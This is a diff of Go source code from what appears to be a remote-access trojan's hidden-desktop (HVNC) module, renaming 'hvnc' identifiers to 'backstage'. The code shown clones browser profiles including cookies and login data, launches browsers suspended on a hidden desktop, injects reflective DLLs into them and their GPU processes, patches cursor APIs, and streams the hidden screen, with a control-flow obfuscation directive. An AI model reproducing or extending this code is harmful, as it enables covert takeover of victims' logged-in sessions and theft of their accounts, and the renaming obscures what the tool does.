lp := filepath.Join(cloneDir, lockFile)
|
||||
if err := os.Remove(lp); err == nil {
|
||||
log.Printf("hvnc %s: removed lock file %s", info.name, lockFile)
|
||||
log.Printf("backstage %s: removed lock file %s", info.name, lockFile)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
notify("launch", true, "starting with cloned profile")
|
||||
pid, err := StartHVNCProcessInjected(exePath, dllBytes, captureDllBytes, realUserData, cloneDir, display)
|
||||
pid, err := StartbackstageProcessInjected(exePath, dllBytes, captureDllBytes, realUserData, cloneDir, display)
|
||||
if err != nil {
|
||||
notify("launch", false, fmt.Sprintf("CreateProcess failed: %v", err))
|
||||
return err
|
||||
@@ -297,22 +297,22 @@ func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, c
|
||||
notify("launch", true, fmt.Sprintf("process started (PID %d)", pid))
|
||||
if info.needsPatch && pid != 0 {
|
||||
go func() {
|
||||
defer recoverAndLog("hvnc patch opera", nil)
|
||||
defer recoverAndLog("backstage patch opera", nil)
|
||||
patchOperaAsync(pid, 5, 2*time.Second)
|
||||
}()
|
||||
}
|
||||
if pid != 0 {
|
||||
go func() {
|
||||
defer recoverAndLog("hvnc crash monitor", nil)
|
||||
defer recoverAndLog("backstage crash monitor", nil)
|
||||
monitorProcessCrash(pid, info.name, notify)
|
||||
}()
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// StartHVNCChromeInjected is kept for backward compatibility.
|
||||
func StartHVNCChromeInjected(chromePath string, dllBytes []byte, captureDllBytes []byte) error {
|
||||
return StartHVNCBrowserInjected("chrome", chromePath, dllBytes, captureDllBytes, true, false, true, 0, nil, nil, nil)
|
||||
// StartbackstageChromeInjected is kept for backward compatibility.
|
||||
func StartbackstageChromeInjected(chromePath string, dllBytes []byte, captureDllBytes []byte) error {
|
||||
return StartbackstageBrowserInjected("chrome", chromePath, dllBytes, captureDllBytes, true, false, true, 0, nil, nil, nil)
|
||||
}
|
||||
|
||||
type browserInfo struct {
|
||||
@@ -525,9 +525,9 @@ func killProcess(name string) []uint32 {
|
||||
procCloseHandle.Call(hProc)
|
||||
if r != 0 {
|
||||
killed = append(killed, entry.ProcessID)
|
||||
log.Printf("hvnc: terminated %s (PID %d)", name, entry.ProcessID)
|
||||
log.Printf("backstage: terminated %s (PID %d)", name, entry.ProcessID)
|
||||
} else {
|
||||
log.Printf("hvnc: failed to terminate %s (PID %d)", name, entry.ProcessID)
|
||||
log.Printf("backstage: failed to terminate %s (PID %d)", name, entry.ProcessID)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -568,14 +568,14 @@ func isFirefoxProfile(name string) bool {
|
||||
// large cache directories that aren't needed for a functional session.
|
||||
// This preserves extensions, cookies, login data, local storage, etc.
|
||||
func cloneBrowserProfile(browserName string, srcUserData string, lite bool, onProgress CloneProgressFunc) (string, error) {
|
||||
prefix := "hvnc_" + strings.ToLower(browserName) + "_"
|
||||
prefix := "backstage_" + strings.ToLower(browserName) + "_"
|
||||
// Remove any previous cloned profile directories so we always use fresh data
|
||||
tmpDir := os.TempDir()
|
||||
if old, err := os.ReadDir(tmpDir); err == nil {
|
||||
for _, e := range old {
|
||||
if strings.HasPrefix(e.Name(), prefix) && e.IsDir() {
|
||||
p := filepath.Join(tmpDir, e.Name())
|
||||
log.Printf("hvnc %s: removing old clone %s", browserName, p)
|
||||
log.Printf("backstage %s: removing old clone %s", browserName, p)
|
||||
os.RemoveAll(p)
|
||||
}
|
||||
}
|
||||
@@ -601,7 +601,7 @@ func cloneBrowserProfile(browserName string, srcUserData string, lite bool, onPr
|
||||
}
|
||||
|
||||
if lite {
|
||||
log.Printf("hvnc %s: lite clone — skipping extensions and extra data", browserName)
|
||||
log.Printf("backstage %s: lite clone — skipping extensions and extra data", browserName)
|
||||
liteSkip := []string{
|
||||
"extensions",
|
||||
"extension state",
|
||||
@@ -691,7 +691,7 @@ func cloneBrowserProfile(browserName string, srcUserData string, lite bool, onPr
|
||||
}
|
||||
}
|
||||
|
||||
log.Printf("hvnc %s: cloning %d files using parallel workers", browserName, len(jobs))
|
||||
log.Printf("backstage %s: cloning %d files using parallel workers", browserName, len(jobs))
|
||||
|
||||
dirs := make(map[string]struct{})
|
||||
for _, j := range jobs {
|
||||
@@ -729,13 +729,13 @@ func cloneBrowserProfile(browserName string, srcUserData string, lite bool, onPr
|
||||
defer wg.Done()
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
log.Printf("[panic] hvnc file copy worker: %v", r)
|
||||
log.Printf("[panic] backstage file copy worker: %v", r)
|
||||
}
|
||||
}()
|
||||
for job := range jobCh {
|
||||
n, err := forceCopyFile(job.src, job.dst)
|
||||
if err != nil {
|
||||
log.Printf("hvnc %s: warning: could not copy %s: %v", browserName, job.src, err)
|
||||
log.Printf("backstage %s: warning: could not copy %s: %v", browserName, job.src, err)
|
||||
} else {
|
||||
reportProgress(n)
|
||||
}
|
||||
@@ -863,7 +863,7 @@ func calcDirSize(dir string) int64 {
|
||||
return total
|
||||
}
|
||||
|
||||
func startHVNCProcessInjectedOnThread(filePath string, dllBytes []byte, captureDllBytes []byte, searchPath, replacePath string, display int) (uint32, error) {
|
||||
func startbackstageProcessInjectedOnThread(filePath string, dllBytes []byte, captureDllBytes []byte, searchPath, replacePath string, display int) (uint32, error) {
|
||||
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
|
||||
if filePath == "" {
|
||||
return 0, fmt.Errorf("empty file path")
|
||||
@@ -878,17 +878,17 @@ func startHVNCProcessInjectedOnThread(filePath string, dllBytes []byte, captureD
|
||||
if err != nil {
|
||||
return 0, fmt.Errorf("failed to create DLL shared memory: %v", err)
|
||||
}
|
||||
log.Printf("hvnc inject: DLL shared memory created as %s (%d bytes)", shmName, len(dllBytes))
|
||||
log.Printf("backstage inject: DLL shared memory created as %s (%d bytes)", shmName, len(dllBytes))
|
||||
|
||||
enableDebugPrivilege()
|
||||
|
||||
// Create the process suspended on the HVNC desktop
|
||||
// Create the process suspended on the backstage desktop
|
||||
hProcess, hThread, pid, err := createSuspendedProcessOnDesktop(filePath, searchPath, replacePath, shmName, len(dllBytes), display)
|
||||
if err != nil {
|
||||
procCloseHandle.Call(shmHandle)
|
||||
return 0, fmt.Errorf("failed to create suspended process: %v", err)
|
||||
}
|
||||
log.Printf("hvnc inject: created suspended process PID %d", pid)
|
||||
log.Printf("backstage inject: created suspended process PID %d", pid)
|
||||
|
||||
// Inject the reflective DLL
|
||||
if err := reflectiveInject(hProcess, dllBytes); err != nil {
|
||||
@@ -898,7 +898,7 @@ func startHVNCProcessInjectedOnThread(filePath string, dllBytes []byte, captureD
|
||||
procCloseHandle.Call(shmHandle)
|
||||
return 0, fmt.Errorf("DLL injection failed: %v", err)
|
||||
}
|
||||
log.Printf("hvnc inject: DLL injected into PID %d", pid)
|
||||
log.Printf("backstage inject: DLL injected into PID %d", pid)
|
||||
|
||||
// The DLL's InstallNtApiHooks has run (reflectiveInject waits for the
|
||||
// loader thread). The DLL opened the shared section, so we can release
|
||||
@@ -915,15 +915,15 @@ func startHVNCProcessInjectedOnThread(filePath string, dllBytes []byte, captureD
|
||||
}
|
||||
procCloseHandle.Call(hThread)
|
||||
|
||||
log.Printf("hvnc inject: process PID %d resumed with DLL hooks active", pid)
|
||||
log.Printf("backstage inject: process PID %d resumed with DLL hooks active", pid)
|
||||
|
||||
if len(captureDllBytes) > 0 {
|
||||
if !hvncDXGIEnabled.Load() {
|
||||
log.Printf("hvnc inject: DXGI is disabled, skipping capture DLL injection for GPU child process")
|
||||
if !backstageDXGIEnabled.Load() {
|
||||
log.Printf("backstage inject: DXGI is disabled, skipping capture DLL injection for GPU child process")
|
||||
} else {
|
||||
go func() {
|
||||
defer recoverAndLog("hvnc deferred gpu inject", nil)
|
||||
hvncDeferredGPUInject(pid, captureDllBytes)
|
||||
defer recoverAndLog("backstage deferred gpu inject", nil)
|
||||
backstageDeferredGPUInject(pid, captureDllBytes)
|
||||
}()
|
||||
}
|
||||
}
|
||||
@@ -931,46 +931,46 @@ func startHVNCProcessInjectedOnThread(filePath string, dllBytes []byte, captureD
|
||||
return pid, nil
|
||||
}
|
||||
|
||||
func hvncDeferredGPUInject(browserPID uint32, captureDllBytes []byte) {
|
||||
func backstageDeferredGPUInject(browserPID uint32, captureDllBytes []byte) {
|
||||
time.Sleep(4 * time.Second)
|
||||
|
||||
for attempt := 0; attempt < 15; attempt++ {
|
||||
gpuPID, err := findGPUChildProcess(browserPID)
|
||||
if err != nil {
|
||||
log.Printf("hvnc inject: GPU child not found for PID %d (attempt %d): %v", browserPID, attempt, err)
|
||||
log.Printf("backstage inject: GPU child not found for PID %d (attempt %d): %v", browserPID, attempt, err)
|
||||
time.Sleep(2 * time.Second)
|
||||
continue
|
||||
}
|
||||
|
||||
log.Printf("hvnc inject: found GPU child process PID %d for browser PID %d", gpuPID, browserPID)
|
||||
log.Printf("backstage inject: found GPU child process PID %d for browser PID %d", gpuPID, browserPID)
|
||||
|
||||
hProcess, _, _ := procOpenProcess.Call(PROCESS_ALL_ACCESS_INJ, 0, uintptr(gpuPID))
|
||||
if hProcess == 0 {
|
||||
log.Printf("hvnc inject: failed to open GPU process PID %d", gpuPID)
|
||||
log.Printf("backstage inject: failed to open GPU process PID %d", gpuPID)
|
||||
return
|
||||
}
|
||||
|
||||
if err := reflectiveInject(hProcess, captureDllBytes); err != nil {
|
||||
log.Printf("hvnc inject: BackstageCapture DLL injection into GPU PID %d failed: %v", gpuPID, err)
|
||||
log.Printf("backstage inject: BackstageCapture DLL injection into GPU PID %d failed: %v", gpuPID, err)
|
||||
procCloseHandle.Call(hProcess)
|
||||
if fn, ok := hvncDXGIStatusCallback.Load().(DXGIStatusFunc); ok && fn != nil {
|
||||
if fn, ok := backstageDXGIStatusCallback.Load().(DXGIStatusFunc); ok && fn != nil {
|
||||
fn(false, gpuPID, fmt.Sprintf("DXGI injection failed for GPU PID %d", gpuPID))
|
||||
}
|
||||
return
|
||||
}
|
||||
procCloseHandle.Call(hProcess)
|
||||
|
||||
log.Printf("hvnc inject: BackstageCapture DLL injected into GPU PID %d", gpuPID)
|
||||
hvncRegisterInjectedPID(gpuPID)
|
||||
hvncRegisterGPUPID(browserPID, gpuPID)
|
||||
if fn, ok := hvncDXGIStatusCallback.Load().(DXGIStatusFunc); ok && fn != nil {
|
||||
log.Printf("backstage inject: BackstageCapture DLL injected into GPU PID %d", gpuPID)
|
||||
backstageRegisterInjectedPID(gpuPID)
|
||||
backstageRegisterGPUPID(browserPID, gpuPID)
|
||||
if fn, ok := backstageDXGIStatusCallback.Load().(DXGIStatusFunc); ok && fn != nil {
|
||||
fn(true, gpuPID, fmt.Sprintf("DXGI capture active (GPU PID %d)", gpuPID))
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
log.Printf("hvnc inject: gave up finding GPU child for browser PID %d", browserPID)
|
||||
if fn, ok := hvncDXGIStatusCallback.Load().(DXGIStatusFunc); ok && fn != nil {
|
||||
log.Printf("backstage inject: gave up finding GPU child for browser PID %d", browserPID)
|
||||
if fn, ok := backstageDXGIStatusCallback.Load().(DXGIStatusFunc); ok && fn != nil {
|
||||
fn(false, 0, "DXGI injection failed: GPU process not found")
|
||||
}
|
||||
}
|
||||
@@ -1094,7 +1094,7 @@ func terminateProcess(hProcess uintptr) {
|
||||
// createDLLSharedMemory creates a named page-file-backed section containing
|
||||
// the raw DLL bytes. Returns the mapping handle and section name.
|
||||
func createDLLSharedMemory(dllBytes []byte) (handle uintptr, name string, err error) {
|
||||
name = fmt.Sprintf("Local\\hvnc_rdi_%d", time.Now().UnixNano())
|
||||
name = fmt.Sprintf("Local\\backstage_rdi_%d", time.Now().UnixNano())
|
||||
namePtr, err := syscall.UTF16PtrFromString(name)
|
||||
if err != nil {
|
||||
return 0, "", err
|
||||
@@ -1131,7 +1131,7 @@ func createDLLSharedMemory(dllBytes []byte) (handle uintptr, name string, err er
|
||||
}
|
||||
|
||||
func createSuspendedProcessOnDesktop(filePath, searchPath, replacePath, shmName string, dllSize int, display int) (hProcess, hThread uintptr, pid uint32, err error) {
|
||||
desktopNamePtr, err := syscall.UTF16PtrFromString(hvncDesktopName)
|
||||
desktopNamePtr, err := syscall.UTF16PtrFromString(backstageDesktopName)
|
||||
if err != nil {
|
||||
return 0, 0, 0, fmt.Errorf("failed to convert desktop name: %v", err)
|
||||
}
|
||||
@@ -1229,7 +1229,7 @@ func buildEnvironmentBlock(searchPath, replacePath, shmName string, dllSize int)
|
||||
return nil, err
|
||||
}
|
||||
|
||||
log.Printf("hvnc inject env: nativeChars=%d finalChars=%d searchRunes=%d replaceRunes=%d hasDllSection=%v dllSize=%d",
|
||||
log.Printf("backstage inject env: nativeChars=%d finalChars=%d searchRunes=%d replaceRunes=%d hasDllSection=%v dllSize=%d",
|
||||
blockLen, len(block), len([]rune(searchPath)), len([]rune(replacePath)), shmName != "", dllSize)
|
||||
return block, nil
|
||||
}
|
||||
@@ -1312,7 +1312,7 @@ func reflectiveInject(hProcess uintptr, dllBytes []byte) error {
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to find ReflectiveLoader: %v", err)
|
||||
}
|
||||
log.Printf("hvnc inject: ReflectiveLoader at offset 0x%x", loaderOffset)
|
||||
log.Printf("backstage inject: ReflectiveLoader at offset 0x%x", loaderOffset)
|
||||
|
||||
remoteBase, _, _ := procVirtualAllocEx.Call(
|
||||
hProcess,
|
||||
@@ -1356,9 +1356,9 @@ func reflectiveInject(hProcess uintptr, dllBytes []byte) error {
|
||||
waitRet, _, waitErr := procWaitForSingleObject.Call(hThread, INFINITE_WAIT)
|
||||
var exitCode uint32
|
||||
if ret, _, callErr := procGetExitCodeThread.Call(hThread, uintptr(unsafe.Pointer(&exitCode))); ret != 0 {
|
||||
log.Printf("hvnc inject: remote loader thread finished wait=0x%x exit=%s", waitRet, describeExitCode(exitCode))
|
||||
log.Printf("backstage inject: remote loader thread finished wait=0x%x exit=%s", waitRet, describeExitCode(exitCode))
|
||||
} else {
|
||||
log.Printf("hvnc inject: GetExitCodeThread failed after wait=0x%x: %v", waitRet, callErr)
|
||||
log.Printf("backstage inject: GetExitCodeThread failed after wait=0x%x: %v", waitRet, callErr)
|
||||
}
|
||||
procCloseHandle.Call(hThread)
|
||||
|
||||
|
||||
@@ -71,7 +71,7 @@ func patchGetCursorInfo(pid uint32) error {
|
||||
}
|
||||
}
|
||||
if !ok {
|
||||
log.Printf("hvnc patch: verification mismatch for PID %d", pid)
|
||||
log.Printf("backstage patch: verification mismatch for PID %d", pid)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -153,11 +153,11 @@ func patchOperaAsync(pid uint32, maxRetries int, delay time.Duration) {
|
||||
time.Sleep(delay)
|
||||
}
|
||||
if err := patchGetCursorInfo(pid); err != nil {
|
||||
log.Printf("hvnc patch: attempt %d/%d for PID %d failed: %v", attempt+1, maxRetries, pid, err)
|
||||
log.Printf("backstage patch: attempt %d/%d for PID %d failed: %v", attempt+1, maxRetries, pid, err)
|
||||
continue
|
||||
}
|
||||
log.Printf("hvnc patch: successfully patched GetCursorInfo in PID %d", pid)
|
||||
log.Printf("backstage patch: successfully patched GetCursorInfo in PID %d", pid)
|
||||
return
|
||||
}
|
||||
log.Printf("hvnc patch: all %d attempts failed for PID %d", maxRetries, pid)
|
||||
log.Printf("backstage patch: all %d attempts failed for PID %d", maxRetries, pid)
|
||||
}
|
||||
|
||||
@@ -7,67 +7,67 @@ import (
|
||||
"image"
|
||||
)
|
||||
|
||||
func InitializeHVNCDesktop() error {
|
||||
return errors.New("HVNC not supported on this platform")
|
||||
func InitializebackstageDesktop() error {
|
||||
return errors.New("backstage not supported on this platform")
|
||||
}
|
||||
|
||||
func CleanupHVNCDesktop() {}
|
||||
func CleanupbackstageDesktop() {}
|
||||
|
||||
func SetHVNCCursorCapture(enabled bool) {}
|
||||
func SetbackstageCursorCapture(enabled bool) {}
|
||||
|
||||
func SetHVNCDXGIEnabled(enabled bool) {}
|
||||
func SetbackstageDXGIEnabled(enabled bool) {}
|
||||
|
||||
func GetHVNCDXGIEnabled() bool { return false }
|
||||
func GetbackstageDXGIEnabled() bool { return false }
|
||||
|
||||
func SetHVNCUIAEnabled(enabled bool) {}
|
||||
func SetbackstageUIAEnabled(enabled bool) {}
|
||||
|
||||
func GetHVNCUIAEnabled() bool { return false }
|
||||
func GetbackstageUIAEnabled() bool { return false }
|
||||
|
||||
func BackstageCaptureDisplay(display int) (*image.RGBA, error) {
|
||||
return nil, errors.New("HVNC not supported on this platform")
|
||||
return nil, errors.New("backstage not supported on this platform")
|
||||
}
|
||||
|
||||
func HVNCMonitorCount() int {
|
||||
func BackstageMonitorCount() int {
|
||||
return 0
|
||||
}
|
||||
|
||||
func StartHVNCProcess(filePath string, operaPatch bool, display int) error {
|
||||
return errors.New("HVNC not supported on this platform")
|
||||
func StartbackstageProcess(filePath string, operaPatch bool, display int) error {
|
||||
return errors.New("backstage not supported on this platform")
|
||||
}
|
||||
|
||||
func HVNCInputMouseMove(display int, x, y int32) error {
|
||||
return errors.New("HVNC not supported on this platform")
|
||||
func BackstageInputMouseMove(display int, x, y int32) error {
|
||||
return errors.New("backstage not supported on this platform")
|
||||
}
|
||||
|
||||
func HVNCInputMouseDown(button int) error {
|
||||
return errors.New("HVNC not supported on this platform")
|
||||
func BackstageInputMouseDown(button int) error {
|
||||
return errors.New("backstage not supported on this platform")
|
||||
}
|
||||
|
||||
func HVNCInputMouseUp(button int) error {
|
||||
return errors.New("HVNC not supported on this platform")
|
||||
func BackstageInputMouseUp(button int) error {
|
||||
return errors.New("backstage not supported on this platform")
|
||||
}
|
||||
|
||||
func HVNCInputKeyDown(vk uint16) error {
|
||||
return errors.New("HVNC not supported on this platform")
|
||||
func BackstageInputKeyDown(vk uint16) error {
|
||||
return errors.New("backstage not supported on this platform")
|
||||
}
|
||||
|
||||
func HVNCInputKeyUp(vk uint16) error {
|
||||
return errors.New("HVNC not supported on this platform")
|
||||
func BackstageInputKeyUp(vk uint16) error {
|
||||
return errors.New("backstage not supported on this platform")
|
||||
}
|
||||
|
||||
func HVNCInputMouseWheel(delta int32) error {
|
||||
return errors.New("HVNC not supported on this platform")
|
||||
func BackstageInputMouseWheel(delta int32) error {
|
||||
return errors.New("backstage not supported on this platform")
|
||||
}
|
||||
|
||||
func HVNCAutoStartExplorer() error {
|
||||
return errors.New("HVNC not supported on this platform")
|
||||
func BackstageAutoStartExplorer() error {
|
||||
return errors.New("backstage not supported on this platform")
|
||||
}
|
||||
|
||||
func HVNCKillAll() error {
|
||||
return errors.New("HVNC not supported on this platform")
|
||||
func BackstageKillAll() error {
|
||||
return errors.New("backstage not supported on this platform")
|
||||
}
|
||||
|
||||
type HVNCWindowInfo struct {
|
||||
type BackstageWindowInfo struct {
|
||||
HWND uintptr
|
||||
Title string
|
||||
X int
|
||||
@@ -80,7 +80,7 @@ type HVNCWindowInfo struct {
|
||||
Visible bool
|
||||
}
|
||||
|
||||
type HVNCMonitorInfo struct {
|
||||
type BackstageMonitorInfo struct {
|
||||
Index int
|
||||
Name string
|
||||
X int
|
||||
@@ -90,6 +90,6 @@ type HVNCMonitorInfo struct {
|
||||
Primary bool
|
||||
}
|
||||
|
||||
func HVNCEnumWindows() ([]HVNCWindowInfo, []HVNCMonitorInfo) {
|
||||
func BackstageEnumWindows() ([]BackstageWindowInfo, []BackstageMonitorInfo) {
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
@@ -825,7 +825,7 @@ func uiaInit() error {
|
||||
return
|
||||
}
|
||||
uiaTreeWalker = uiaSingleton.GetControlViewWalker()
|
||||
log.Printf("hvnc uia: IUIAutomation initialized successfully (walker=%v)", uiaTreeWalker != nil)
|
||||
log.Printf("backstage uia: IUIAutomation initialized successfully (walker=%v)", uiaTreeWalker != nil)
|
||||
})
|
||||
return uiaInitErr
|
||||
}
|
||||
@@ -860,7 +860,7 @@ func uiaEnsureWorker() {
|
||||
uiaWorkerCh = make(chan func(), 64)
|
||||
uiaWorkerDone = make(chan struct{})
|
||||
go func() {
|
||||
defer recoverAndLog("hvnc uia worker", nil)
|
||||
defer recoverAndLog("backstage uia worker", nil)
|
||||
uiaWorkerLoop()
|
||||
}()
|
||||
})
|
||||
@@ -871,23 +871,23 @@ func uiaWorkerLoop() {
|
||||
defer runtime.UnlockOSThread()
|
||||
defer close(uiaWorkerDone)
|
||||
|
||||
hvncDesktopMu.Lock()
|
||||
dh := hvncDesktopHandle
|
||||
hvncDesktopMu.Unlock()
|
||||
backstageDesktopMu.Lock()
|
||||
dh := backstageDesktopHandle
|
||||
backstageDesktopMu.Unlock()
|
||||
if dh != 0 {
|
||||
r, _, err := procSetThreadDesktop.Call(dh)
|
||||
if r == 0 {
|
||||
log.Printf("hvnc uia: worker SetThreadDesktop failed: %v", err)
|
||||
log.Printf("backstage uia: worker SetThreadDesktop failed: %v", err)
|
||||
for range uiaWorkerCh {
|
||||
}
|
||||
return
|
||||
}
|
||||
} else {
|
||||
log.Printf("hvnc uia: warning — worker started before HVNC desktop exists")
|
||||
log.Printf("backstage uia: warning — worker started before backstage desktop exists")
|
||||
}
|
||||
|
||||
if err := uiaInit(); err != nil {
|
||||
log.Printf("hvnc uia: worker init failed: %v", err)
|
||||
log.Printf("backstage uia: worker init failed: %v", err)
|
||||
for range uiaWorkerCh {
|
||||
}
|
||||
return
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@@ -504,9 +504,9 @@ var (
|
||||
prevMu sync.Mutex
|
||||
prevFrame *prevImage
|
||||
|
||||
hvncPrevMu sync.Mutex
|
||||
hvncPrevFrame *prevImage
|
||||
hvncLastKeyframe atomic.Int64
|
||||
backstagePrevMu sync.Mutex
|
||||
backstagePrevFrame *prevImage
|
||||
backstageLastKeyframe atomic.Int64
|
||||
)
|
||||
|
||||
type prevImage struct {
|
||||
@@ -616,12 +616,12 @@ func ResetPrev() {
|
||||
resetH264Encoder()
|
||||
}
|
||||
|
||||
func ResetPrevHVNC() {
|
||||
hvncPrevMu.Lock()
|
||||
hvncPrevFrame = nil
|
||||
hvncPrevMu.Unlock()
|
||||
hvncLastKeyframe.Store(0)
|
||||
resetH264EncoderHVNC()
|
||||
func ResetPrevbackstage() {
|
||||
backstagePrevMu.Lock()
|
||||
backstagePrevFrame = nil
|
||||
backstagePrevMu.Unlock()
|
||||
backstageLastKeyframe.Store(0)
|
||||
resetH264Encoderbackstage()
|
||||
}
|
||||
|
||||
func RequestDesktopFullFrame() {
|
||||
@@ -642,12 +642,12 @@ func useDesktopSoftwareH264() bool {
|
||||
return desktopSoftwareH264.Load()
|
||||
}
|
||||
|
||||
func RequestHVNCFullFrame() {
|
||||
hvncPrevMu.Lock()
|
||||
hvncPrevFrame = nil
|
||||
hvncPrevMu.Unlock()
|
||||
hvncLastKeyframe.Store(0)
|
||||
resetH264EncoderHVNC()
|
||||
func RequestbackstageFullFrame() {
|
||||
backstagePrevMu.Lock()
|
||||
backstagePrevFrame = nil
|
||||
backstagePrevMu.Unlock()
|
||||
backstageLastKeyframe.Store(0)
|
||||
resetH264Encoderbackstage()
|
||||
}
|
||||
|
||||
func jpegQuality() int {
|
||||
@@ -731,8 +731,8 @@ const (
|
||||
cursorROIMargin = 32
|
||||
windowROIMargin = 12
|
||||
|
||||
hvncSamplingRate = 1
|
||||
hvncChangeThresh = 1
|
||||
backstageSamplingRate = 1
|
||||
backstageChangeThresh = 1
|
||||
)
|
||||
|
||||
func buildFrame(img *image.RGBA, display int, quality int) (wire.Frame, time.Duration, error) {
|
||||
@@ -841,7 +841,7 @@ func buildFrame(img *image.RGBA, display int, quality int) (wire.Frame, time.Dur
|
||||
return wire.Frame{Type: "frame", Header: wire.FrameHeader{Monitor: display, FPS: 0, Format: format}, Data: blockPayload}, encDur, nil
|
||||
}
|
||||
|
||||
func buildFrameHVNC(img *image.RGBA, display int, quality int) (wire.Frame, time.Duration, error) {
|
||||
func buildFramebackstage(img *image.RGBA, display int, quality int) (wire.Frame, time.Duration, error) {
|
||||
encStart := time.Now()
|
||||
width := img.Bounds().Dx()
|
||||
height := img.Bounds().Dy()
|
||||
@@ -850,49 +850,49 @@ func buildFrameHVNC(img *image.RGBA, display int, quality int) (wire.Frame, time
|
||||
now := time.Now()
|
||||
if codec == "h264" {
|
||||
if width%2 != 0 || height%2 != 0 {
|
||||
log.Printf("hvnc capture: h264 skipped for odd dimensions (%dx%d), falling back to jpeg", width, height)
|
||||
log.Printf("backstage capture: h264 skipped for odd dimensions (%dx%d), falling back to jpeg", width, height)
|
||||
codec = "jpeg"
|
||||
} else {
|
||||
if webrtcpub.ConsumeKeyframeRequest() {
|
||||
resetH264EncoderHVNC()
|
||||
resetH264Encoderbackstage()
|
||||
}
|
||||
h264Bytes, err := encodeH264FrameHVNC(img)
|
||||
h264Bytes, err := encodeH264Framebackstage(img)
|
||||
if err == nil && len(h264Bytes) > 0 {
|
||||
hvncLastKeyframe.Store(now.UnixNano())
|
||||
backstageLastKeyframe.Store(now.UnixNano())
|
||||
statFullFrames.Add(1)
|
||||
frame := wire.Frame{Type: "frame", Header: wire.FrameHeader{Monitor: display, FPS: 0, Format: "h264", HVNC: true}, Data: h264Bytes}
|
||||
frame := wire.Frame{Type: "frame", Header: wire.FrameHeader{Monitor: display, FPS: 0, Format: "h264", Backstage: true}, Data: h264Bytes}
|
||||
return frame, time.Since(encStart), nil
|
||||
}
|
||||
h264WarnOnce.Do(func() {
|
||||
detail := h264AvailabilityDetail()
|
||||
if detail != "" {
|
||||
log.Printf("hvnc capture: h264 encode unavailable, falling back to jpeg: %v (%s)", err, detail)
|
||||
log.Printf("backstage capture: h264 encode unavailable, falling back to jpeg: %v (%s)", err, detail)
|
||||
return
|
||||
}
|
||||
log.Printf("hvnc capture: h264 encode unavailable, falling back to jpeg: %v", err)
|
||||
log.Printf("backstage capture: h264 encode unavailable, falling back to jpeg: %v", err)
|
||||
})
|
||||
codec = "jpeg"
|
||||
}
|
||||
}
|
||||
|
||||
hvncPrevMu.Lock()
|
||||
pf := hvncPrevFrame
|
||||
hvncPrevMu.Unlock()
|
||||
backstagePrevMu.Lock()
|
||||
pf := backstagePrevFrame
|
||||
backstagePrevMu.Unlock()
|
||||
|
||||
if pf == nil || pf.w != width || pf.h != height || now.Sub(time.Unix(0, hvncLastKeyframe.Load())) > keyframeEvery {
|
||||
if pf == nil || pf.w != width || pf.h != height || now.Sub(time.Unix(0, backstageLastKeyframe.Load())) > keyframeEvery {
|
||||
jpegBytes, err := encodeJPEG(img, quality)
|
||||
hvncPrevMu.Lock()
|
||||
copyPrevHVNC(img)
|
||||
hvncPrevMu.Unlock()
|
||||
hvncLastKeyframe.Store(now.UnixNano())
|
||||
backstagePrevMu.Lock()
|
||||
copyPrevbackstage(img)
|
||||
backstagePrevMu.Unlock()
|
||||
backstageLastKeyframe.Store(now.UnixNano())
|
||||
statFullFrames.Add(1)
|
||||
frame := wire.Frame{Type: "frame", Header: wire.FrameHeader{Monitor: display, FPS: 0, Format: "jpeg", HVNC: true}, Data: jpegBytes}
|
||||
frame := wire.Frame{Type: "frame", Header: wire.FrameHeader{Monitor: display, FPS: 0, Format: "jpeg", Backstage: true}, Data: jpegBytes}
|
||||
return frame, time.Since(encStart), err
|
||||
}
|
||||
|
||||
// use strict block detection for HVNC otherwise half the time it just doesn't fucking update pictures
|
||||
// use strict block detection for backstage otherwise half the time it just doesn't fucking update pictures
|
||||
// because of how slow the capture shit is.
|
||||
blocks, blockPayload, encDur, err := encodeBlocksHVNC(img, pf, quality, codec, display)
|
||||
blocks, blockPayload, encDur, err := encodeBlocksbackstage(img, pf, quality, codec, display)
|
||||
if err != nil {
|
||||
return wire.Frame{}, encDur, err
|
||||
}
|
||||
@@ -901,7 +901,7 @@ func buildFrameHVNC(img *image.RGBA, display int, quality int) (wire.Frame, time
|
||||
// Keepalive frames indicate no block-level changes, so avoid copying the
|
||||
// full RGBA buffer into prevFrame again.
|
||||
statKeepaliveFrames.Add(1)
|
||||
frame := wire.Frame{Type: "frame", Header: wire.FrameHeader{Monitor: display, FPS: 0, Format: "blocks", HVNC: true}, Data: blockPayload}
|
||||
frame := wire.Frame{Type: "frame", Header: wire.FrameHeader{Monitor: display, FPS: 0, Format: "blocks", Backstage: true}, Data: blockPayload}
|
||||
return frame, encDur, nil
|
||||
}
|
||||
|
||||
@@ -910,13 +910,13 @@ func buildFrameHVNC(img *image.RGBA, display int, quality int) (wire.Frame, time
|
||||
|
||||
if changedRatio > maxBlockRatio {
|
||||
jpegBytes, err := encodeJPEG(img, quality)
|
||||
hvncPrevMu.Lock()
|
||||
copyPrevHVNC(img)
|
||||
hvncPrevMu.Unlock()
|
||||
hvncLastKeyframe.Store(now.UnixNano())
|
||||
backstagePrevMu.Lock()
|
||||
copyPrevbackstage(img)
|
||||
backstagePrevMu.Unlock()
|
||||
backstageLastKeyframe.Store(now.UnixNano())
|
||||
statBlockFallbacks.Add(1)
|
||||
statFullFrames.Add(1)
|
||||
frame := wire.Frame{Type: "frame", Header: wire.FrameHeader{Monitor: display, FPS: 0, Format: "jpeg", HVNC: true}, Data: jpegBytes}
|
||||
frame := wire.Frame{Type: "frame", Header: wire.FrameHeader{Monitor: display, FPS: 0, Format: "jpeg", Backstage: true}, Data: jpegBytes}
|
||||
return frame, time.Since(encStart), err
|
||||
}
|
||||
|
||||
@@ -926,7 +926,7 @@ func buildFrameHVNC(img *image.RGBA, display int, quality int) (wire.Frame, time
|
||||
if codec == "raw" {
|
||||
format = "blocks_raw"
|
||||
}
|
||||
